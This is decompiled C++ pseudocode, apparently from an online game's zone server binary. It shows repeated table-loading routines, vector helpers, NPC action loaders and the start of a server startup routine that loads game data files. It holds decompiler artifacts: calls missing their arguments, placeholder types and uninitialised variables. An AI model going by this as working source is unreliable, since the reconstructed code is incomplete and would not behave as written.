if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (0053FEE0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (00540040) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (005401A0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (00540300) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (00540460) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (005405C0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (00540720) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (00540880) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (005409E0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, NPCAction::ICondition *const *_Val) { std::vector > *v4; // esi@1 NPCAction::ICondition **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #325 **v16; // eax@25 NPCAction::ICondition **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #325 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (NPCAction::ICondition *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#325 **)(v20 - v23); v4->_Mylast = (NPCAction::ICondition **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#325 ***)&v21, v25, (#325 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#325 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (NPCAction::ICondition **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#325 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (NPCAction::ICondition **)((char *)_Newvec + _Counta); v4->_Mylast = (NPCAction::ICondition **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (NPCAction::ICondition **)_Newvec; } } } //----- (00540BC0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, NPCAction::ICondition *_Val) { std::vector > *v3; // esi@1 NPCAction::ICondition **v4; // edx@1 signed int v5; // eax@2 signed int v6; // eax@6 NPCAction::ICondition **v7; // eax@10 char *v8; // edx@11 NPCAction::ICondition **v9; // eax@12 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = this->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = this->_Mylast; if ( _Newsize < this->_Mylast - v4 ) { v8 = (char *)&v4[_Newsize]; if ( (NPCAction::ICondition **)v8 != v7 ) { memmove(v8, (char *)v7, 0); v3->_Mylast = v9; } } } } else { if ( v4 ) v6 = this->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v6, &_Val); } } //----- (00540C50) -------------------------------------------------------- void __thiscall NPCAction::Manager::generate_n(NPCAction::Manager *this, unsigned int n, NPCAction::CondGen_OptionReader generator) { NPCAction::Manager *v3; // edi@1 NPCAction::ICondition **v4; // ebx@1 NPCAction::ICondition **i; // esi@1 unsigned int v6; // ebx@5 NPCAction::ICondition **v7; // esi@5 NPCAction::CondGen_OptionReader thisa; // [sp+Ch] [bp-8h]@5 v3 = this; v4 = this->container_._Mylast; for ( i = this->container_._Myfirst; i != v4; ++i ) { if ( *i ) ((void (__stdcall *)(_DWORD))(*i)->baseclass_0.vfptr->__vecDelDtor)(1); } v6 = n; std::vector>::resize(&v3->container_, n, 0); v7 = v3->container_._Myfirst; thisa.optionReader_ = generator.optionReader_; thisa.currentRow_ = generator.currentRow_; if ( n ) { do { *v7 = NPCAction::CondGen_OptionReader::operator__(&thisa); ++v7; --v6; } while ( v6 ); } } //----- (00540CC0) -------------------------------------------------------- void __thiscall NPCAction::Manager::generate_n(NPCAction::Manager *this, unsigned int n, NPCAction::ActionGen_OptionReader generator) { NPCAction::Manager *v3; // edi@1 NPCAction::IAction **v4; // ebx@1 NPCAction::IAction **i; // esi@1 unsigned int v6; // ebx@5 NPCAction::IAction **v7; // esi@5 NPCAction::ActionGen_OptionReader thisa; // [sp+Ch] [bp-8h]@5 v3 = this; v4 = this->container_._Mylast; for ( i = this->container_._Myfirst; i != v4; ++i ) { if ( *i ) ((void (__stdcall *)(_DWORD))(*i)->vfptr->__vecDelDtor)(1); } v6 = n; std::vector>::resize( (std::vector > *)v3, n, 0); v7 = v3->container_._Myfirst; thisa.optionReader_ = generator.optionReader_; thisa.currentRow_ = generator.currentRow_; if ( n ) { do { *v7 = NPCAction::ActionGen_OptionReader::operator__(&thisa); ++v7; --v6; } while ( v6 ); } } //----- (00540D30) -------------------------------------------------------- bool __cdecl NPCAction::Util::loadFromOptionReader>(NPCAction::Manager *destManager, const char *fileName) { NPCAction::CondGen_OptionReader v2; // ST04_8@2 unsigned int v3; // eax@2 bool result; // al@4 NPCAction::CondGen_OptionReader generator; // [sp+0h] [bp-1086Ch]@2 OptionReader optionReader; // [sp+8h] [bp-10864h]@1 unsigned int cookie; // [sp+1085Ch] [bp-10h]@4 int v8; // [sp+10868h] [bp-4h]@1 OptionReader::OptionReader(&optionReader); v8 = 0; if ( OptionReader::or_Read(&optionReader, (char *)fileName) ) { NPCAction::ActionGen_OptionReader::ActionGen_OptionReader( (NPCAction::ActionGen_OptionReader *)&generator, &optionReader); v2 = generator; v3 = NPCAction::CondGen_OptionReader::size(&generator); NPCAction::Manager::generate_n( destManager, v3, v2); v8 = -1; OptionReader::_OptionReader(&optionReader); } else { v8 = -1; OptionReader::_OptionReader(&optionReader); } __security_check_cookie(cookie); return result; } //----- (00540E00) -------------------------------------------------------- bool __cdecl NPCAction::Util::loadFromOptionReader>(NPCAction::Manager *destManager, const char *fileName) { NPCAction::ActionGen_OptionReader v2; // ST04_8@2 unsigned int v3; // eax@2 bool result; // al@4 NPCAction::ActionGen_OptionReader generator; // [sp+0h] [bp-1086Ch]@2 OptionReader optionReader; // [sp+8h] [bp-10864h]@1 unsigned int cookie; // [sp+1085Ch] [bp-10h]@4 int v8; // [sp+10868h] [bp-4h]@1 OptionReader::OptionReader(&optionReader); v8 = 0; if ( OptionReader::or_Read(&optionReader, (char *)fileName) ) { NPCAction::ActionGen_OptionReader::ActionGen_OptionReader(&generator, &optionReader); v2 = generator; v3 = NPCAction::ActionGen_OptionReader::size(&generator); NPCAction::Manager::generate_n( destManager, v3, v2); v8 = -1; OptionReader::_OptionReader(&optionReader); } else { v8 = -1; OptionReader::_OptionReader(&optionReader); } __security_check_cookie(cookie); return result; } //----- (00540ED0) -------------------------------------------------------- void __thiscall ZoneServer::zs_start_old(ZoneServer *this) { ZoneServer *v1; // edi@1 _iobuf *v2; // eax@1 _iobuf *v3; // eax@1 _iobuf *v4; // esi@1 _iobuf *v5; // esi@1 Name4 *v6; // esi@1 const char *v7; // eax@1 _iobuf *v8; // edi@4 _iobuf *v9; // edi@4 _iobuf *v10; // edi@4 _iobuf *v11; // edi@4 _iobuf *v12; // edi@4 _iobuf *v13; // edi@4 _iobuf *v14; // edi@4 _iobuf *v15; // edi@4 _iobuf *v16; // edi@4 _iobuf *v17; // edi@4 _iobuf *v18; // edi@4 _iobuf *v19; // edi@4 _iobuf *v20; // edi@4 _iobuf *v21; // edi@4 _iobuf *v22; // edi@4 _iobuf *v23; // edi@4 _iobuf *v24; // edi@4 _iobuf *v25; // edi@4 _iobuf *v26; // edi@4 _iobuf *v27; // edi@4 _iobuf *v28; // edi@4 _iobuf *v29; // edi@4 SkillDataBox::SkillDataIndex *v30; // eax@4 _iobuf *v31; // edi@4 SkillDataBox::SkillDataIndex *v32; // eax@4 _iobuf *v33; // edi@4 SkillDataBox::SkillDataIndex *v34; // eax@4 _iobuf *v35; // edi@4 _iobuf *v36; // edi@4 _iobuf *v37; // edi@4 _iobuf *v38; // edi@4 SkillDataBox::SkillDataIndex *v39; // eax@4 _iobuf *v40; // edi@4 _iobuf *v41; // esi@4 _iobuf *v42; // esi@4 _iobuf *v43; // esi@4 _iobuf *v44; // esi@4 CServerInfo::MY_SERVER *v45; // eax@4 _iobuf *v46; // esi@4 _iobuf *v47; // esi@7 _iobuf *v48; // esi@10 _iobuf *v49; // esi@13 _iobuf *v50; // esi@16 _iobuf *v51; // esi@16 _iobuf *v52; // esi@19 int v53; // esi@19 _iobuf *v54; // esi@22 int v55; // eax@22 _iobuf *v56; // esi@25 unsigned __int16 v57; // ax@26 int v58; // esi@28 int v59; // edi@28 ORTable *v60; // ecx@30 DiceTaiSai *v61; // eax@32 CQuest *v62; // eax@32 _iobuf *v63; // esi@36 _iobuf *v64; // esi@39 _iobuf *v65; // esi@39 _iobuf *v66; // esi@42 _iobuf *v67; // esi@45 void *v68; // edi@48 DividendRate v69; // esi@51 _iobuf *v70; // esi@56 _iobuf *v71; // esi@59 _iobuf *v72; // esi@59 _iobuf *v73; // esi@59 _iobuf *v74; // esi@59 char *v75; // esi@59 unsigned int v76; // edi@62 AbnormalStateContainer::AbstateElementInObject *v77; // esi@63 AbnormalStateContainer::AbstateElementInObject *v78; // esi@69 _iobuf *v79; // esi@74 _iobuf *v80; // esi@74 _iobuf *v81; // esi@74 char buffer[100]; // [sp+8h] [bp-74h]@1 unsigned int v83; // [sp+6Ch] [bp-10h]@74 int v84; // [sp+78h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneServer::zs_start_old"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneServer::zs_start_old"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v84 = 0; v2 = fopen("Message.txt", "w"); fclose(v2); v3 = fopen("MapLoad.txt", "w"); fclose(v3); v4 = fopen("Message.txt", "a"); fprintf(v4, "%s\n"); fclose(v4); sprintf(buffer, "Player Buffer size : %d"); v5 = fopen("Message.txt", "a"); fprintf(v5, "%s\n"); fclose(v5); Table::SetTableDir("../9Data/Shine/"); ScenarioBookShelf::sbs_LoadScripts(&scenarioshelf); mobhatchery = (MobHatchery *)&mobhat; ShineObjectHandleUnion::sohu_Initialize(); EraseOldLogList("Assert"); EraseLog(); protocolstore(&optsprotofunc); protocolstore(&zlsprotofunc); protocolstore(&gdsprotofunc); protocolstore(&glsprotofunc); protocolstore(&shineprotofunc); protocolstore(&wldmanprotofunc); v6 = (Name4 *)&v1->gap40[1276]; HitMeList::hml_Load((Name4 *)&v1->gap40[1276]); ShineScript::ss_Load(&shinescriptetc, (Name4 *)&v1->gap40[1276], "ETC"); ShineScript::ss_Load(&shinescriptmenusting, (Name4 *)&v1->gap40[1276], "MenuString"); v7 = ShineScript::ss_String(&shinescriptetc, "DeamonDead"); if ( !*v7 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start_old : DeamonDead needed", *v7 != 0); ShineExit("ZoneServer::zs_start_old"); } KQScriptManager::kqsm_Load(&kqscriptmanager, (Name4 *)&v1->gap40[1276]); v8 = fopen("Message.txt", "a"); fprintf(v8, "%s\n"); fclose(v8); DamageBySoul::SoulDamageContainer::sdc_Load(&_SoulDamageContainer, v6); v9 = fopen("Message.txt", "a"); fprintf(v9, "%s\n"); fclose(v9); MobResistTable::mrt_Load(&mobresisttable); v10 = fopen("Message.txt", "a"); fprintf(v10, "%s\n"); fclose(v10); MobDataBox::mdb_Load(&mobdatabox); MobChat::MobChatManager::mcm_Load(&mobchatman, v6); MapClusterManager::ClusterManager::cm_Init(&mapclustermanager); TownPortalData::tpd_Load(&townportaldata); ItemOptionsData::iod_Load(&itemoptiondata); RewardData::rd_Load(&rewarddata); DropLocationManager::dlm_Load(&droplocman); v11 = fopen("Message.txt", "a"); fprintf(v11, "%s\n"); fclose(v11); MapDataBox::mdb_Load(&mapdatabox); v12 = fopen("Message.txt", "a"); fprintf(v12, "%s\n"); fclose(v12); ItemDataBox::idb_Load(&itemdatabox); ItemDropFromMob::DropIndexCluster::dic_Load(&dropindexcluster, v6); RecallPointTable::rpt_Load((RecallPointTable *)&recallpoint, v6); v13 = fopen("Message.txt", "a"); fprintf(v13, "%s\n"); fclose(v13); ItemGroupClassifier::igc_Load(&itemgroupclassifier); v14 = fopen("Message.txt", "a"); fprintf(v14, "%s\n"); fclose(v14); AbnormalStateDictionary::SubAbState::sas_Load(&dic_subabstate); v15 = fopen("Message.txt", "a"); fprintf(v15, "%s\n"); fclose(v15); AbnormalStateDictionary::AbState::as_Load(&dic_abstate); v16 = fopen("Message.txt", "a"); fprintf(v16, "%s\n"); fclose(v16); ItemRandomOption::RandomOptionTable::rot_Load(&itemrandomoptiontable, v6); SubLayer::SubLayerInteractLoader::slil_Load(&sublayerinteract, v6); DamageByAngle::DamageTable::dt_Load(&damagebyangle_Mob, v6, "DamageByAngle_Mob"); DamageByAngle::DamageTable::dt_Load(&damagebyangle_Ply, v6, "DamageByAngle_Chr"); ShineCommonParameter::scp_Load(&shineparam, v6); CharClassManager::ccm_Load(&charclassmanager, v6); NPCManager::nm_Load(&npcmanager, v6); Table::Load("GuildTournamentScore.shn"); Table::Load("GuildTournamentLvGap.shn"); Table::Load("GuildTournamentOccupy.shn"); Table::Load("GuildTournamentSkill.shn"); Table::Load("GuildTournamentMasterBuff.shn"); Table::Load("GTIGetRate.shn"); Table::Load("GTIGetRateGap.shn"); Table::Load("GTIServer.shn"); Table::Load("GTIBreedSubject.shn"); Table::Load("GTWinScore.shn"); v17 = fopen("Message.txt", "a"); fprintf(v17, "%s\n"); fclose(v17); FieldContainer::fc_Load((FieldContainer *)&fieldlist, v6); v18 = fopen("Message.txt", "a"); fprintf(v18, "%s\n"); fclose(v18); SkillDataBox::sdb_Load(&skilldatabox, v6); v19 = fopen("Message.txt", "a"); fprintf(v19, "%s\n"); fclose(v19); PassiveDataBox::pdb_Load((PassiveDataBox *)&passivedatabox, v6); v20 = fopen("Message.txt", "a"); fprintf(v20, "%s\n"); fclose(v20); 